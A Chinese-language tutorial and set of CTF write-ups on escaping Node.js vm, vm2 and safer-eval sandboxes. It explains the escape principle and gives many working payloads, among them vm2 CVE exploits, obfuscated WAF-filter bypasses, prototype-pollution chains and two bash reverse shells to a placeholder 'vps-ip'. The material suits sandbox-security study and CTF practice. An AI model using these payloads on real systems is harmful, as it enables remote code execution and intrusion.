概念

vm 模块提供了一系列 API,用于在 V8 虚拟机环境中编译和运行代码。

逃逸的本质定义:通过某种方式拿到沙箱外的 global.process 就算成功。

核心实现路径:获取沙箱外对象 调用 global.process.mainModule.require("child_process").execSync("whoami").toString() 实现 RCE。

结合各种命令执行的绕过技巧(参考上一篇命令执行绕过总结),我们可以构建出多样的逃逸 Payload。


VM 原理及逃逸方法

基本用法

官网提供了一个创建基础 VM 沙箱的例子:

const vm = require('vm');

const x = 1;
const sandbox = { x: 2 };

vm.createContext(sandbox); // 上下文隔离化(Contextify)

const code = 'x += 40; var y = 17;';
// x 和 y 是沙箱环境中的全局变量。x 初始值为 2。
vm.runInContext(code, sandbox);

console.log(sandbox.x); // 42
console.log(sandbox.y); // 17
console.log(x);         // 1 (沙箱外的 x 未受影响); y 报错未定义
  • vm.createContext(sandbox):创建沙箱上下文环境(可简单理解为虚拟机)。

  • vm.runInContext(code, sandbox):在指定的沙箱上下文中运行代码。

逃逸手法汇总

核心思路是利用 this + constructor 寻找连接“沙箱”与“真实环境”的通道。在沙箱中,this 指向当前传递给 runInNewContext 的对象,而该对象不属于沙箱环境

this 为普通对象时

通过 constructor 不断向上寻找构造器:获得 Object 获得 Function 返回 global.process

const vm = require('vm');
const sandbox = { 'x': 1 };
vm.createContext(sandbox); 

const code = `
    const p = this.constructor.constructor("return process")();
    const res = p.mainModule.require("child_process").execSync("whoami").toString();
`;
const res = vm.runInContext(code, sandbox);
console.log(res); // 成功执行任意命令

thisnull 时 (Object.create(null))

此时无法直接通过 this 获取 global 环境,需要利用其他特性。

a. 利用输出直接触发 toString 方法

利用 arguments.callee.caller 返回函数的调用者(沙箱外的一个对象)。

const vm = require('vm');
const script = `(() => {
    const a = {}
    a.toString = function () {
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
})()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res); // 拼接字符串,隐式触发 toString()

b. 调用属性触发 (Proxy 劫持)

利用 Proxy 代理劫持属性,当访问任意属性时触发逃逸逻辑。

const vm = require("vm");
const script = `(() => {
    const a = new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
    return a
})()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc); // 访问 abc 属性触发 get 钩子

Object.create(null) + 无输出/无返回值

若沙箱不返回结果或无法触发输出,可利用 try-catch 结构主动抛出异常并捕获输出。

const vm = require("vm");
const script = `
    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))(); 
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
`;
try {
    vm.runInContext(script, vm.createContext(Object.create(null)));
} catch(e) {
    console.log("error:" + e); // 捕获并输出包含命令执行结果的异常
}

单行版(便于本地使用 ` 调试):

const script = "throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();return p.mainModule.require('child_process').execSync('whoami').toString();}})";

VM2 原理及逃逸方法

vm2 相比 vm 做了大量安全强化,核心在于利用 ES6 的 Proxy 特性,通过钩子拦截了对 constructor__proto__ 等危险属性的访问。

基本用法

const {VM, VMScript} = require('vm2');
const script = new VMScript("let a = 2;a;");
console.log((new VM()).run(script));

注意区分 vm 与 vm2: 引入的包名和代码结构均不同,做题时需仔细辨别。

逃逸方法

1) 依赖版本漏洞 (参考 Github issues)

实战中建议直接根据版本号搜寻现成 CVE Payload。例如针对 vm2@3.9.15 (CVE-2023-30547):

const {VM} = require("vm2");
const vm = new VM();
const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try { stack(); } catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();
}`;
console.log(vm.run(code));

而 CTF 中最经典的考点通常是 vm2@3.8.3 逃逸:

const {VM} = require('vm2');
const untrusted = '(' + function(){
	TypeError.prototype.get_process = f => f.constructor("return process")();
	try {
		Object.preventExtensions(Buffer.from("")).a = 1;
	} catch(e) {
		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try { console.log(new VM().run(untrusted)); } catch(x) { console.log(x); }

2) 原型链污染配合逃逸

通过已知源码位置实现返回 global:

JavaScript

let res = import('./app.js');
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

典型 CTF 例题解析

1. [HITCON 2016] Leaking

考点:Node.js 老版本 Buffer 内存泄漏

源码提示 vm.run(req.query.data),但要求 data.length <= 12,且并未直接给出 vm2 版本。

  • 突破口: 在 Node 8.0 之前,Buffer(数字) 会分配一段未清零的内存。

  • POC 脚本:

import requests
url ="http://<靶机IP>/?data=Buffer(888)"
while True:
    res = requests.get(url=url)
    if 'hitcon' in res.text:
        print("Get a flag: " + res.text)
        break

2. BUUCTF-[HFCTF2020] JustEscape

考点:VM2 逃逸 + 关键字过滤绕过

  • 试探: 传入 Error().stack 报错,判定为 Node.js 环境(而非 PHP),且为 vm2 逃逸。

  • Fuzzing: 经过字典探测,发现过滤了 Function, process, while, for, ", ', +, exec, prototype, constructor

  • 绕过思路 1:16 进制编码绕过 (\x63 替换 c)

(function(){
	TypeError[`pro\x74otype`][`get_pro\x63ess`] = f=>f[`\x63onstructor`](`return pro\x63ess`)();
	try{
		Object.preventExtensions(Buffer.from(``)).a = 1;
	}catch(e){
		return e[`get_pro\x63ess`](()=>{}).mainModule.require(`child_pro\x63ess`)[`exe\x63Sync`](`whoami`).toString();
	}
})()
  • 绕过思路 2:模板字符串 ${} 拼接
(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()

3. [GKCTF 2020] ez三剑客-easynode

考点:safer-eval 逃逸(非标准 vm 逃逸)

利用 clearImmediate 向上寻找 process。

const saferEval = require("./src/index");
const untrusted = `(function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
})()`;
console.log(saferEval(untrusted));

4. [HZNUCTF 2023 final] eznode

考点:JS 原型链污染 + VM2 逃逸

源码中存在明显的无过滤 merge 函数,并且执行 new VM().run({}.shellcode)

  • 污染链: {"shit": 1, "__proto__": {"shellcode": "payload"}}

  • 反弹 Shell Payload: (CVE 直接利用失败时,改用原型链污染手法反弹)

{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync(\"bash -c 'sh -i >& /dev/tcp/vps-ip/8888 0>&1'\").toString();"}}

5. [2023 0xGame ez_sandbox]

考点:原型链污染提权 + VM 代理异常逃逸 + 字符串拼接绕过

  • 步骤 1 (提权): 过滤了 __proto__,但可通过 constructor.prototype 绕过 merge 污染,将访客权限提升为 admin。

    {"username":"1","password":"1","constructor":{"prototype":{"role":"admin"}}}

  • 步骤 2 (逃逸): WAF 禁用了大量关键字。通过 throw new Proxy 引发异常带出结果,并用 + 拼接字符串绕过黑名单。

throw new Proxy({}, {  
  get: function(){ 
    const c = arguments.callee.caller;
    const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))();
    return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
  }
})

6. [2024 nkctf] 最简单的 CTF 题

考点:极端 WAF 下的 VM 代理异常逃逸

WAF 极为严苛:/(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g

禁用了加号、concat、中括号和反斜杠。

  • 应对策略:

    1. 用模板字符串 ${} 代替 +concat 进行拼接。

    2. Reflect.get() 代替 [] 获取属性。

  • Payload (Reflect 版):

throw new Proxy({}, {
    get: function(){
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();
        const chi = p.mainModule.require(`${`${`child_proces`}s`}`);
        const res = Reflect.get(chi, `${`${`exe`}cSync`}`)('whoami');
        return res.toString();
    }
})
  • Payload (Replace 版) - 更加简洁:
throw new Proxy({}, {
    get: function(){
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor('return procAess'.replace('A','')))();
        const obj = p.mainModule.require('child_procAess'.replace('A',''));
        const ex = Object.getOwnPropertyDescriptor(obj, 'exeAcSync'.replace('A',''));
        return ex.value('bash -c "bash -i >& /dev/tcp/vps-ip/port 0>&1"').toString();
    }
})